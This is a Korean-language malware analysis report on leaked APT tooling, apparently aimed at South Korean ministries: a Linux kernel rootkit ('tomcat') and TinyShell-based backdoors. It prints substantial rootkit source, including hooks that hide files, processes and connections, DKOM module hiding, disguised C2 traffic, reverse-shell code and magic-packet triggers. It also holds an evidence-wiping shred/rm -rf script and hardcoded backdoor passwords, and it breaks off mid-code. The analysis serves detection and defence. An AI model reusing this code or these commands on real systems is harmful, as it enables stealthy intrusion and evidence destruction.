1. 개요
2025년 8월 9일경 “[단독] 대한민국 정부가 털렸다... 행안부·외교부·방첩사, 북한 추정 해킹에 국가안보 비상” 제목으로 보안 뉴스에 발표가 되었다.
해당 기사에 따르면 북한 또는 중국 배후로 추정되는 해커 조직이 대한민국 행정안전부와 외교부, 방첩사를 타깃으로 대규모 해킹을 감행한 것으로 알려졌다.
해커 조직이 피싱, 지능형 지속 공격(APT) 등의 수법으로 정부 부처의 내부 서버 및 네트워크, 이메일 플랫폼 등의 접속 권한을 대규모로 탈취한 것이다.
사진 1. 보안 뉴스에 공개된 ‘APT Down: The North Korea Files’ 내용
PurpleHound팀에서는 해당 자료를 바탕으로 다크웹에서 정보를 수집하고 Datashare 사이트에서
tomcat20250414_rootkit 및 TinyShell 백도어 소스 코드를 확인하여 분석하였다.
사진 2. 다크웹에 공개된 ‘APT Down: The North Korea Files’ PDF 파일
사진 3. 다크웹에서 확인된 Datashare 사이트
사진 4. Index of의 폴더 구조 (일부)
2. Tomcat 루트킷 분석
2.1. Tomcat 루트킷 구조
사진 5. Tomcat 루트킷 설치 스크립트 일부 (config.sh)
이름과는 달리 Apache Tomcat에서 작동하거나 취약점을 악용하는 악성코드는 아니다.
tomcat 루트킷은 전체 소스 코드를 공격자가 피해 시스템에 업로드하여 공격자가 사전에 작성한 config.sh 스크립트를 통해 컴파일 후 피해자 시스템에 설치한다. config.sh는 악성코드의 이름 및 명령 코드, 통신 비밀번호 등을 랜덤으로 생성하고 피해 시스템에서 사용할 수 있는 Makefile과 루트킷 설치 스크립트를 작성한다.
리눅스 커널 모듈은 설치 시스템과 동일한 환경에서 컴파일 해야 하기 때문에 공격자는 피해자의 시스템에서 루트킷을 컴파일 한 것으로 추정된다.
사진 6. tomcat 루트킷의 구조
tomcat 루트킷은 위와 같은 세 개의 프로그램으로 이루어져 있으며 각각 아래와 같은 역할을 수행한다.
2.1.1. vmwfxs.ko (tracker-fs)
피해자 시스템에 설치되는 커널 모드 드라이버다. tracker-fs라는 이름으로 /usr/lib64/에 설치되고, 피해자 시스템에 설치되는 또 다른 유저모드 악성코드인 master를 은닉시킨다.
khook 라이브러리를 사용해 프로세스, 파일, 네트워크 통신과 관련된 시스템콜을 커널 메모리에서 후킹하고, 필요한 함수의 반환 값을 조작하여 피해자의 시스템에서 악성코드의 존재를 숨긴다.
2.1.2. master (tracker-efs)
피해자 시스템에 설치되는 유저 모드 백도어다. tracker-efs라는 이름으로 /usr/include/tracker-fs/에 설치되고, vmwfxs.ko에 의해 피해자의 시스템에서 은폐된다. 공격자 클라이언트 프로그램 tcat과 통신하여 루트 권한의 쉘 생성, 피해자 내부망 프록시, 파일 업로드&다운로드 기능을 제공한다. 내부망 프록시는 libsocks를 사용해 구현되었다.
2.1.3. tcat
공격자가 피해자의 시스템에 접속하기 위해 사용하는 백도어 클라이언트다. 피해 시스템과 통신할 때 tcat 루트킷은 HTTP, SMTP, SSL과 같은 정상 서비스의 패킷으로 위장하여 통신한다.
2.2. 루트킷 기능 분석
2.2.1. 파일 은폐
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned);
static int khook_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
#elif LINUX_VERSION_CODE < KERNEL_VERSION(6, 1, 0)
KHOOK_EXT(int, filldir, struct dir_context *, const char *, int, loff_t, u64, unsigned);
static int khook_filldir(struct dir_context *nrf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
#else
KHOOK_EXT(bool, filldir, struct dir_context *, const char *, int, loff_t, u64, unsigned);
static bool khook_filldir(struct dir_context *nrf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
#endif
{
if (name != NULL) {
if (filename_check(&file_check_head, name) == 1) {
return 0;
}
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
return KHOOK_ORIGIN(filldir, __buf, name, namelen, offset, ino, d_type);
#elif LINUX_VERSION_CODE < KERNEL_VERSION(6, 1, 0)
return KHOOK_ORIGIN(filldir, nrf_ctx, name, namelen, offset, ino, d_type);
#else
return KHOOK_ORIGIN(filldir, nrf_ctx, name, namelen, offset, ino, d_type);
#endif
}
C
복사
코드 1. main.c:671 파일 은폐 코드 (일부)
tomcat 루트킷은 filldir, filldir64을 후킹해 파일을 숨긴다. 루트킷은 자체적인 링크드리스트를 통해 숨기고자 하는 파일 목록을 관리하고, 만약 해당 파일 이름이 포함되지 않은 경우에만 실제 시스템콜을 진행해 루트킷 드라이버와 백도어 파일들 조회할 수 없도록 한다.
또한 공격자는 리눅스 커널 버전의 변화에 따른 API 변동에도 대응하기 위해 버전에 맞는 함수 형태를 사용하도록 개발하였다.
사진 7. 설치 경로인 /usr/lib64에서 tracker-fs 커널 드라이버 조회 불가능
2.2.2. 프로세스 은폐
static int khook_proc_filldir(struct dir_context *nrf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
{
char *endp;
long pid;
struct task_struct *htask;
struct task_struct *rtask;
pid = simple_strtol(name, &endp, 10);
if (pid >= 3)
{
rcu_read_lock();
htask = pid_task(find_pid_ns(pid, task_active_pid_ns(current)), PIDTYPE_PID);
rcu_read_unlock();
if (htask != NULL) {
rtask = get_task_parent(htask);
if (rtask != NULL && rtask->pid != 1) {
if (run_proc_check(&proc_check_head, rtask->pid)) {
if (!run_proc_check(&proc_check_head, htask->pid)) {
insert_proc_check_list(&proc_check_head, htask->pid);
unhide_proc(htask->pid);
hide_proc(htask->pid);
}
}
}
if (strstr(htask->comm, MAGIC_DRBIN)) {
if (!run_proc_check(&proc_check_head, pid)) {
insert_proc_check_list(&proc_check_head, pid);
unhide_proc(pid);
hide_proc(pid);
}
struct task_struct *t = htask;
do {
if (!run_proc_check(&proc_check_head, t->pid)) {
insert_proc_check_list(&proc_check_head, t->pid);
unhide_proc(t->pid);
hide_proc(t->pid);
break;
}
t = next_thread(t);
} while (t != htask);
}
if (run_proc_check(&proc_check_head, pid)) {
return 0;
}
}
}
return real_khook_proc_filldir(nrf_ctx, name, namelen, offset, ino, d_type);
}
C
복사
코드 2. main.c:554 프로세스 은폐 코드 (일부)
리눅스의 프로세스 조회 명령인 ps는 /proc 이라는 가상 파일 시스템을 사용한다. /proc 디렉토리 안에는 시스템 정보를 나타내는 파일과 각 프로세스의 PID를 이름으로 하는 디렉토리들이 존재한다.
ps는 단순히 proc에 존재하는 모든 디렉토리를 읽어서 사용자에게 보여주는 방식으로 작동하기 때문에 위의 파일 은닉처럼 특정 PID 폴더를 조회할 수 없도록 하면 프로세스를 숨길 수 있다.
tomcat 루트킷은 파일 은닉과 똑같은 함수를 후킹해 백도어 프로세스를 숨기도록 했고, 유저모드 백도어가 생성한 쉘 프로세스 등 자식 프로세스 또한 숨길 수 있도록 개발되었다.
2.2.3. TCP 통신 은폐
KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *);
static int khook_tcp4_seq_show(struct seq_file *seq, void *v) {
int ret = 0;
struct tcp_iter_state *st;
struct inet_request_sock *ireq;
struct inet_sock *inet;
struct inet_timewait_sock *itw;
struct sock *sk = v;
ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v);
if (!list_empty(&net_check_head)) {
struct NetCheck *tl_pos, *tl_n;
char port[12];
list_for_each_entry_safe(tl_pos, tl_n, &net_check_head, list) {
memset(port, 0, 12);
sprintf(port, ":%04X", tl_pos->sport);
if (strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ)) {
seq->count -= TMPSZ;
goto ret;
}
}
}
spTrans *spt_pos, *spt_n;
if (!list_empty(&sp_trans_head)) {
char port[12];
list_for_each_entry_safe(spt_pos, spt_n, &sp_trans_head, list) {
memset(port, 0, 12);
sprintf(port, ":%04X", spt_pos->listen_port);
if (strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ)) {
seq->count -= TMPSZ;
goto ret;
}
}
}
if (v == SEQ_START_TOKEN) goto ret;
st = seq->private;
switch (st->state) {
case TCP_SEQ_STATE_LISTENING:
case TCP_SEQ_STATE_ESTABLISHED:
if (sk->sk_state == TCP_TIME_WAIT) {
itw = inet_twsk(v);
list_for_each_entry_safe(spt_pos, spt_n, &sp_trans_head, list) {
if ((itw->tw_daddr == spt_pos->in_ip) || (itw->tw_rcv_saddr == spt_pos->in_ip)) {
return 0;
} else {
goto ret;
}
}
}
else {
inet = inet_sk(v);
list_for_each_entry_safe(spt_pos, spt_n, &sp_trans_head, list) {
if ((inet->inet_daddr == spt_pos->in_ip) || (inet->inet_rcv_saddr == spt_pos->in_ip)) {
return 0;
} else goto ret;
}
}
break;
}
ret:
return ret;
}
C
복사
코드 3. main.c:462 TCP 통신 은폐 코드 (일부)
tomcat 루트킷은 tcp4_seq_show 함수를 후킹해 백도어의 TCP 통신을 조회할 수 없도록 한다.
2.2.4. 커널 모듈 은폐
void kv_hide_mod(void) {
struct list_head this_list;
if (NULL != mod_list)
return;
this_list = lkmmod.this_mod->list;
mod_list = this_list.prev;
spin_lock(&hiddenmod_spinlock);
this_list.next->prev = this_list.prev;
this_list.prev->next = this_list.next;
this_list.next = (struct list_head*)LIST_POISON2;
this_list.prev = (struct list_head*)LIST_POISON1;
spin_unlock(&hiddenmod_spinlock);
rmmod_ctrl.attrs = lkmmod.this_mod->sect_attrs;
rmmod_ctrl.parent = lkmmod.this_mod->mkobj.kobj.parent;
kobject_del(lkmmod.this_mod->holders_dir->parent);
lkmmod.this_mod->holders_dir->parent->state_in_sysfs = 1;
}
C
복사
코드 4. hkmod.c:163 kv_hide_mode 함수
tomcat 루트킷은 /proc/modules와 sysfs에서 드라이버 자기 자신을 조회할 수 없도록 은폐한다. /proc/modules에서 은폐하기 위해 링크드리스트의 연결을 DKOM(Direct Kernel Object Manipulation) 기법으로 제거하고, sysfs에서 은폐하기 위해 kobject_del() 함수를 사용한다.
2.2.5. 루트킷 삭제 및 증거 인멸
static void mexit(void) {
proc_path_exit();
hkcape();
kv_unhide_mod();
if (status == 1) {
// printk("unhook\n");
khook_cleanup();
}
delete_proc_check_list(&proc_check_head);
delete_file_check_list(&file_check_head);
delete_net_check_list(&net_check_head);
}
C
복사
코드 5. main.c:751 드라이버 언로드 루틴
이렇게 제거한 오브젝트들은 정상적인 루트킷 드라이버 언로드가 이루어지도록 하기 위해 mexit 함수에 별도로 백업한 자료 구조를 통해 복원하고 루트킷이 삽입한 후킹 또한 제거되도록 코드를 작성했다.
#!/bin/bash
echo -n emH7pSgHPeu > /proc/acpi/pcicard
/sbin/rmmod vmwfxs.ko
shred -f -z -u -n 5 /usr/include//tracker-fs/tracker-efs
rm -rf /usr/include//tracker-fs/
shred -f -z -u -n 5 /usr/lib64//tracker-fs
shred -f -z -u -n 5 /etc/init.d//tracker-fs
rm -rf /etc/rc2.d/S55tracker-fs
rm -rf /etc/rc3.d/S55tracker-fs
rm -rf /etc/rc5.d/S55tracker-fs
Shell
복사
코드 6. install/del.sh 스크립트
공격자가 피해 시스템에서 목표를 달성한 후 공격에 대한 증거를 인멸하기 위해 shred 명령을 사용해 루트킷 파일들을 복구할 수 없도록 제거하는 스크립트를 작성한 것으로 보인다. shred 명령은 파일을 여러번 덮어 씌워 하드디스크를 사용하는 시스템에서 파일을 복원할 수 없도록 하는 보안 삭제 명령이다.
2.3. 백도어 분석
2.3.1. C&C 통신
uint32_t seq_list[] = {
920587710, 780471713, 825259540, 1647202978, 2431914404, 2463650875, 3662932374, 3369382702,
571692748, 681946156, 829739854, 664490, 3326825048, 1824359561, 2776646994, 1527593018,
237917522, 3854742835, 370845380, 1479512131, 1743018266, 2368020992, 239422864, 2493496176,
2593674284, 1491577105, 1834706857, 2355692017, 853813936, 2375780971, 325837401, 3524959112,
3778896085, 3613846371, 3179126353, 2372256894, 361494256, 3147200590, 948607550, 66127043,
2026018491, 644906849, 3060809144, 1168711225, 3798251206, 1908836686, 2590500766, 1689043407,
1317404664, 2713407592, 281037207, 3531254667, 3635636771, 2381242906, 43372061, 946671249,
3522301673, 3347596171, 2357615851, 3944199838, 476670121, 1652027145, 2954664960, 3582352654,
3548656716, 3573936149, 87244733, 2165479587, 897885455, 1547736954, 1430911806, 2779073281,
1019919374, 1033440766, 1648710950, 2331577315, 798671428, 2301255681, 3536843460, 2012105819,
209396314, 1064735001, 194400939, 280595515, 1023093053, 1168810551, 2374204263, 2256035666,
3781446433, 1001775063, 3705578819, 1640619747, 1135448298, 2630747354, 985173485, 755701479,
2852168481, 661080502, 3912753289, 620167751
};
uint16_t id_list[] = {
10213, 27848, 62837, 60140, 62026, 62242, 20548, 34239,
24818, 19737, 52954, 44293, 13103, 44470, 39357, 53974,
61485, 47901, 19904, 32661, 57419, 30112, 46223, 13809,
45239, 50642, 15805, 65301, 16920, 11255, 45828, 26316,
35785, 40014, 23163, 56702, 15124, 20176, 46360, 61566,
11532, 22780, 39270, 35209, 13695, 49128, 27779, 14764,
57130, 19123
};
C
복사
코드 7. work/common.c:70 공격자가 지정한 TCP 헤더 시퀀스, IP 헤더 ID 조합의 Port Knocking
tomcat 드라이버는 모든 TCP 통신을 조회하여 공격자가 지정한 숫자의 TCP 헤더 시퀀스와 IP 헤더 ID를 사용하는 TCP 패킷이 발견되었을 때 유저모드 백도어를 실행시킨다. 패킷 헤더를 임의로 조작해야 하기 때문에 tcat 클라이언트는 Raw socket을 사용했다.
int send_response_200(int client, char *body, int body_len)
{
char response[512] = {0};
char m_Strlen[256];
time_t curTime;
struct tm *timeinfo;
strcpy(response, "HTTP/1.1 200 OK\r\n");
strcat(response, "Server: Apache/2.2.3\r\n");
time(&curTime);
timeinfo = gmtime(&curTime);
char tmpbuf[128] = {0};
strftime(tmpbuf, 128, "%a, %d %b %Y %H:%M:%S", timeinfo);
sprintf(m_Strlen, "Date: %s GMT\r\n", tmpbuf);
strcat(response, m_Strlen);
sprintf(m_Strlen, "Content-Length: %d\r\n", body_len);
strcat(response, m_Strlen);
strcat(response, "Connection: close\r\n");
strcat(response, "Cache-Control: no-cache\r\n");
strcat(response, "\r\n");
encode_decode(body, body_len, Encrypt_KEY, KEY_LEN);
memcpy(response + strlen(response), body, body_len);
if (send_all(client, response, strlen(response)) < 0)
{
return -1;
}
return 1;
}
C
복사
코드 8. work/protocol.c:1105 HTTP 200으로 위장한 C&C 패킷 응답 함수 중 일부
tomcat 백도어는 C&C 통신을 수행할 때 HTTP, HTTPS, SSL, SMTP와 같은 정상 프로토콜의 형태를 가지며 적절한 위치에 Base64, AES, RC4, XOR등을 사용하여 암호화 된 C&C 통신을 삽입해 트래픽을 분석하여 정상 트래픽과 구분하기 어렵게 한다. 공격자가 피해자 시스템에서 백도어를 실행할 때 어떤 프로토콜을 사용할지 선택할 수 있다.
char smtp_welcome[] = "220 example.com SMTP\r\n";
char smtp_ehlo[] = "250-example.com at your service\r\n250-SIZE 157286400\r\n250-STARTTLS\r\n250 SMTPUTF8\r\n";
char smtp_ok[] = "250 Ok\r\n";
char smtp_data[] = "354 send data\r\n";
char smtp_end[] = "250 email was send\r\n";
char smtp_bye[] = "221 Bye...\r\n";
char smtp_tls[] = "220 2.0.0 Ready to start TLS\r\n";
char smtp_e1[] = "250-example.com\r\n250-STARTTLS\r\n250 SMTPUTF8\r\n";
char smtp_tls1[] = "220 Ready to start TLS\r\n";
char smtp_starttls[] = "starttls\r\n";
char smtp_hello[] = "HELO Alice\r\n";
C
복사
코드 9. work/protocol.c:24 SMTP Handshake로 위장한 C&C 접속 클라이언트 인증 시 사용되는 문자열
Port knocking 후 유저모드 백도어가 소켓을 생성하는데, SMTP 등으로 위장한 Handshake 통신 후 접속한 클라이언트의 패스워드를 검증한다. 패스워드는 공격자가 하드코딩 하였고 Miu2jACgXeDsxd 를 패스워드로 사용하여 일치하는 경우 클라이언트의 접속을 허가하여 백도어 클라이언트의 명령을 수신한다.
사진 8. tomcat 클라이언트 제공 명령
2.3.2. 리버스 쉘
사진 9. tomcat 클라이언트 root 리버스 쉘 명령
int master_new_shell(struct rsocket rskt, char **argv, char **env, MSG msg){
int client = rootkit_get_socket(rskt);
fd_set rd;
struct winsize ws;
char *slave, *shell;
int ret, pid, pty, tty, n;
char *envp[] = {
"TERM=linux",
"HOME=/",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin",
"BASH_HISTORY=/dev/null",
"HISTORY=/dev/null",
"history=/dev/null",
"HISTFILE=/dev/null",
"TMOUT=0",
NULL
};
char buffer[MAXBUF];
memset(buffer, 0, sizeof(buffer));
if (openpty(&pty, &tty, NULL, NULL, NULL) < 0)
return 1;
slave = ttyname(tty);
if (slave == NULL)
return 1;
ws.ws_row = msg.ws_row;
ws.ws_col = msg.ws_col;
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
if (ioctl(pty, TIOCSWINSZ, &ws) < 0)
{
}
if ((pid = fork()) < 0)
{
return 1;
}
// ......
}
C
복사
코드 10. work/master.c:107 리버스 쉘 생성 코드 중 일부
tomcat 백도어는 리버스 쉘을 생성해 피해 시스템을 root 권한으로 제어할 수 있다. 백도어 프로세스는 커널 드라이버가 생성하기 때문에 자연스럽게 root 권한을 가지게 된다. 쉘 프로세스 생성 없이 단일 명령어만 실행하거나, 자식 프로세스로 쉘을 생성하는 옵션을 사용할 수 있다. 쉘 프로세스를 생성하는 경우 openpty()와 ttyname() 함수를 통해 TTY/PTY 쉘을 생성한다.
2.3.3. 리버스 프록시
사진 10. tomcat 클라이언트 리버스 프록시 명령
tomcat 백도어는 리버스 프록시를 생성해 공격자가 피해 서버의 내부망에 접근할 수 있는 기능을 제공한다. 공격자는 생성된 프록시를 통해 피해 시스템의 내부망에 접근할 수 있게 되어 수평 이동(Leteral movement)과 같은 추가 공격을 시도할 수 있게 된다. tomcat 백도어의 프록시 구현에는 libsocks 라이브러리가 사용되었다.
2.3.4. 파일 업로드 및 다운로드
사진 11. tomcat 클라이언트 파일 다운로드/업로드 명령
tomcat 백도어는 피해 시스템의 파일 시스템에 존재하는 파일을 다운로드 받거나 피해 시스템에 업로드 할 수 있는 기능을 제공한다.
2.4. Tomcat 루트킷 결론
tomcat 루트킷은 프로세스, 파일, 네트워크 통신 등이 숨겨지고 트래픽 또한 정상 트래픽으로 위장하였기 때문에 탐지하기 매우 까다롭다.
tomcat과 같이 설치되는 유저모드 백도어는 피해 시스템에 파일 업로드 및 다운로드, root 권한의 리버스 쉘 및 프록시 기능을 제공하기 때문에 악성코드가 설치된 시스템은 추가적인 악성코드를 설치 당하거나 피해 시스템으로부터 수평 이동(Leteral movement)을 통해 내부 네트워크로 악성코드 확산 및 중요한 정보를 탈취당할 수 있다.
3. TinyShell 분석
3.1. backdoor/20220812 백도어 분석
20220812 백도어는 중국의 APT 그룹들이 다수의 해킹 공격에 사용했던 전력이 있는 Tiny shell의 소스코드를 거의 그대로 사용하였다. 커널 드라이버 구현을 보면 리눅스 커널 5 이후에 대해서는 대응이 되어있지 않아 폴더 이름이 개발된 날짜로 추정된다.
backdoor/20220812
├─CCC
├─DRV_TIME
├─linux-inject-master
└─SSS
Shell
복사
20220812 폴더 구조
CCC 폴더는 백도어 클라이언트의 소스코드(공격자가 원격 네트워크에서 실행), SSS 폴더는 백도어 서버의 소스코드(피해자 시스템에 설치), DRV_TIME은 포트포워딩 커널 드라이버, linux-inject-master는 .so 라이브러리 파일을 인젝션 하는 소스코드를 포함한다.
3.1.1. CCC 폴더 분석
피해 시스템에 접속하는 Tiny shell 클라이언트 역할을 한다. Tiny shell의 원본 소스 코드와 거의 동일하며, 프록시 생성 및 파일 업로드 다운로드를 지원한다. 또한 AES-128-CBC랑 HMAC-SHA1으로 패킷을 검증하는 루틴도 그대로 존재한다.
3.1.2. SSS 폴더 분석
void* loop_func(void* arg)
{
int client = *(int*)arg;
int ret,len;
ret = pel_server_init(client, secret);
if (ret != PEL_SUCCESS)
{
shutdown(client, SHUT_RDWR);
return NULL;
}
ret = pel_recv_msg(client, message, &len);
if (ret != PEL_SUCCESS || len != 1)
{
shutdown(client, SHUT_RDWR);
return NULL;
}
switch (message[0])
{
case GET_FILE: // 0x1
ret = tshd_get_file(client);
break;
case PUT_FILE: // 0x2
ret = tshd_put_file(client);
break;
case TRANPORT: // 0x4
if (tran_slave > 0)
{
shutdown(tran_slave, SHUT_RDWR);
close(tran_slave);
tran_slave = -1;
}
ret = tshd_tranport(client);
if (tran_slave > 0)
{
shutdown(tran_slave, SHUT_RDWR);
close(tran_slave);
tran_slave = -1;
}
break;
case RUNSHELL: // 0x3
if (pid_pty > 0)
{
kill(pid_pty, SIGKILL);
pid_pty = -1;
}
ret = tshd_runshell(client);
if (pid_pty > 0)
{
kill(pid_pty, SIGKILL);
pid_pty = -1;
}
break;
default:
ret = 12;
break;
}
shutdown(client, SHUT_RDWR);
close(client);
}
C
복사
코드 11. SSS/sotsh.c:54 Tiny shell 명령 처리
피해 시스템에서 실행하는 Tiny shell 서버 역할을 한다. Tiny shell의 원본 소스 코드와 거의 동일하며, 명령 처리 소스 코드를 확인해보면 똑같이 프록시 생성 및 파일 업로드 다운로드만 지원한다. 또한 AES-128-CBC랑 HMAC-SHA1으로 패킷을 검증하는 루틴도 그대로 존재한다.
공격자가 중국어로 작성한 readme.txt를 읽어보면 독립 ELF 바이너리로 사용하는 방식과, .so로 컴파일해 인젝션하는 방식 두 가지를 모두 사용할 수 있도록 구현한 것을 알 수 있다.
#define FAKE_BASH_ARGUMENT "/usr/sbin/modem-manager"
pid_pty = forkpty(&pty, ptsname, NULL, &ws);
if (pid_pty == 0)
{
execlp("/bin/bash", FAKE_BASH_ARGUMENT, NULL);
return (66);
}
C
복사
코드 12. SSS/sotsh.c:907
크게 변경된 점이 있다면 Tiny shell로 원격 쉘을 생성할 때 execlp() 함수를 사용하여 /bin/bash가 아니라 /usr/sbin/modem-manager로 보이도록 구현해 쉘이 생성되었다고 볼 수 없게 구현하였다.
3.1.3. linux-inject-master
3.1.4. DRV_TIME
static struct nf_hook_ops nfho_outgoing = {
.hook = netfiler_packet_hook_out,
.hooknum = NF_INET_LOCAL_OUT,
.pf = NFPROTO_IPV4,
.priority = NF_IP_PRI_LAST,
#if LINUX_VERSION_CODE < KERNEL_VERSION(4,4,0)
.owner = THIS_MODULE
#endif
};
static struct nf_hook_ops nfho_ingoing = {
.hook = netfiler_packet_hook_in,
.hooknum = NF_INET_LOCAL_IN,
.pf = NFPROTO_IPV4,
.priority = NF_IP_PRI_LAST,
#if LINUX_VERSION_CODE < KERNEL_VERSION(4,4,0)
.owner = THIS_MODULE
#endif
};
int init_module (void) {
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4,12,14)
nf_register_hook(&nfho_ingoing);
#else
nf_register_net_hook(&init_net, &nfho_ingoing );
#endif
// Hook to Netfilter
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4,12,14)
nf_register_hook(&nfho_outgoing);
#else
nf_register_net_hook(&init_net, &nfho_outgoing );
#endif
return 0;
}
C
복사
코드 13. 20220812/DRV_TIME/drv_kms.c:254 netfilter 등록
if(lport ==htons(LOCALPORT) && ntohs(destport) == OOLDPORT)
{
if(redir_flag)
{
*destportptr = newport;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,0,0)
inet_proto_csum_replace2(&tcpHeader->check, skb, ntohs(destport), newport, 0);
#else
tcpHeader->check = rrootkit_ip_nat_cheat_check( destport ^0xFFFF, newport, tcpHeader->check);
#endif
}
}
C
복사
코드 14. 20220812/DRV_TIME/drv_kms.c:188 netfilter 후킹 함수 netfiler_packet_hook_in() (일부)
백도어와 함께 시스템에 설치되는 커널 드라이버다. tomcat 루트킷과 달리 백도어를 숨기는 역할을 하는 커널 드라이버는 아니지만, 특정 src port→dst port(3389→80) 조합의 TCP 패킷의 dst port를 변경하는 역할을 수행한다.
공격자는 리눅스 커널에서 제공하는 Netfilter 프레임워크를 사용해서 구현 하였으며, 후킹 함수를 확인해보면 해당 조합을 가진 TCP 패킷의 포트를 조작한 후 해당 패킷의 체크섬을 올바르게 고치는 로직이 포함되어 있다.
3.2. backdoor/20230201/rksrc_20230201
Tiny shell과 똑같은 기능을 수행할 수 있으나 소스 코드가 달라 자체 개발한 것으로 추정되는 백도어와 루트킷을 포함한다. 마찬가지로 리눅스 커널 6버전 이후에 대해서는 대응이 되어있지 않아 폴더 이름이 개발된 날짜로 추정된다.
3.2.1. bin32 / bin32_centos5.2
centos5.2 접미사가 붙은 버전과 그렇지 않은 버전이 존재하지만, 1:1 비교 시 동일한 소스코드를 사용하고 있다.
#define CMD_LOGIN 0x2B11 // 클라이언트 로그인 요청
#define CMD_LOGIN_YES 0x2B21 // 클라리언트 로그인 요청 승인
#define CMD_FILE_UPLOAD 0x3C11 // 파일 업로드 요청
#define CMD_FILE_SIZE 0x3C21 // 업로드 파일 크기 전송
#define CMD_FILE_UPLOAD_YES 0x3C31 // 파일 업로드 승인
#define CMD_FILE_UPLOAD_GO 0x3C41 // 사용되지 않음
#define CMD_FILE_DOWN 0x3C51 // 파일 다운로드 요청
#define CMD_DOWNLOAD_YES 0x4A10 // 파일 다운로드 승인
#define CMD_DOWNLOAD_GO 0x4A20 // 사용되지 않음
#define CMD_SHELL_PTY 0x5A10 // 쉘 생성 요청
#define CMD_SHELL_ENV 0x5A15 // 쉘 환경변수 전송
#define CMD_SHELL_YES 0x5A20 // 쉘 생성 승인
#define CMD_SHELL_DATA 0x5A30 // 쉘 실행 데이터 전송
#define CMD_SOCKS5 0x6D20 // SOCKS5 프록시 생성 요청
#define CMD_SOCKS5_OK 0x6D30 // SOCKS5 프록시 생성 승인
#define CMD_SOCKS5_DATA 0x6D40 // SOCKS5 프록시 데이터 전송
#define CMD_SOCKS5_ERROR 0x6D50 // SOCKS5 에러 전송
#define CMD_PATH_ERR 0xAA20 // 파일 업로드/다운로드 경로 에러
#define CMD_FILE_CREATE_ERR 0xAA30 // 사용되지 않음
#define CMD_CONNECT 0x3E11 // 클라이언트 로그인 인증 정보 전송
#define CMD_CONNECT_OK 0x3E22 // 클라이언트 로그인 인증 성공
#define CMD_DISCONNECT 0x2C11 // 클라이언트 연결 해제
#define CMD_DISCONNECT_OK 0x2E22 // 클라이언트 연결 해제 승인
#define CMD_ERROR 0x7A10 // 클라이언트 로그인 인증 에러
C
복사
코드 15. client.c/server.c 백도어 명령 코드
20230201 백도어는 위와 같은 명령 코드들을 갖고 있다.
int ssh_hello(mysocks *_sock, struct sockaddr_in *dest_addr, const char *tag_txt)
{
int ret = 0;
int sock_fd;
char buffer[1024 + 1];
sock_fd = _sock->socket();
if (sock_fd < 0)
{
return SK_ERR_socket;
}
ret = _sock->connect(sock_fd, dest_addr);
if (ret < 0)
{
return SK_ERR_connect;
}
// off nagle
int enable = 1;
setsockopt(sock_fd, IPPROTO_TCP, TCP_NODELAY, (char *)&enable, sizeof(enable));
// SSH-2.0-SecureCRT_6.2.0 (build 195) SecureCRT\r\n
// "SSH-2.0-OpenSSH_7.4\r\n"
memset(buffer, 0, sizeof(buffer));
snprintf(buffer, sizeof(buffer) - 1, "SSH-2.0-OpenSSH_7.4 %s\r\n", tag_txt);
int bf_size = strlen(buffer);
ret = _sock->send(sock_fd, buffer, bf_size);
if (ret < 0)
{
return SK_ERR_send;
}
close(sock_fd);
return 1;
}
C
복사
코드 16. server.c:1704 SSH Hello로 위장한 로그인 메세지
20230201 백도어는 Tiny shell과 거의 동일한 기능을 한다. 다만 백도어 클라이언트가 피해 서버에 로그인 할 때 로그인 메세지가 SSH, HTTP, HTTPS 세 가지 프로토콜로 위장하는 등 세부 구현은 약간 다른 부분이 존재한다.
최근에 같은 공격자가 개발한 tomcat 루트킷은 이 부분을 고도화해 로그인 뿐만 아니라 모든 통신을 실제 프로토콜로 위장하여 탐지하기 어렵게 하였다.
3.2.2. kofile
네트워크 통신, 파일, 프로세스를 숨기는 기능을 갖춘 루트킷 드라이버다. VMmisc.ko 라는 이름으로 컴파일 된다. VMmisc.ko는 커널 인라인 후킹을 통해 시스템 콜 함수의 반환 값을 조작하여 백도어의 흔적을 숨긴다.
Netfilter를 사용한 유저모드 백도어 실행
if (login_ctx.start == 0 && tcph->psh )
{
unsigned int len = datalen > 400 ? 400:datalen;
if (memmem(data, len, _START_PASS, strlen(_START_PASS)) != NULL)
{
login_ctx.control_sport = tcph->source;
_newtm = jiffies;
reset_ctx();
login_ctx.control_sip = iph->saddr;
login_ctx.wport = tcph->dest;
sig_out(_kname);
_run(); // 백도어 실행
login_ctx.start = 2;
debug("pack 1: [%u.%u.%u.%u]:%u-->%u\n", NIPQUAD(iph->saddr), ntohs(tcph->source), ntohs(tcph->dest));
memset(data, 0, datalen);
tcph->doff = sizeof(struct tcphdr) / 4;
skb_trim(nskb, iph->ihl * 4 + sizeof(struct tcphdr));
iph->tot_len = htons(iph->ihl * 4 + tcph->doff * 4);
_skb_rcsum(nskb);
return NF_DROP;
}
}
C
복사
코드 17. rpkt.h:515 nf_hook_slow() 함수 후킹을 통해 magic packet 발견 시 백도어 실행
VMmisc는 Netfilter 함수 nf_hook_slow()를 후킹해 TCP PSH 플래그를 가진 패킷 중 공격자가 하드코딩한 비밀번호인 testtest가 포함된 패킷이 발견된 경우 복호화 했던 유저모드 백도어를 실행시킨다. 이 때 NF_DROP으로 함수를 반환 시켜서 해당 함수를 사용하는 프로그램 또한 백도어 실행 흔적을 찾기 어렵게 한다.
커널 인라인 후킹
#define KALLSYMS_PATH "/proc/kallsyms"
static void *_find_symbol(const char *func_name, char *_path)
{
// .....
// 생략
file = filp_open(_path, O_RDONLY, 0);
if (!file)
return NULL;
if (!file->f_op->read)
return NULL;
while(readline(read_buf, file) ){
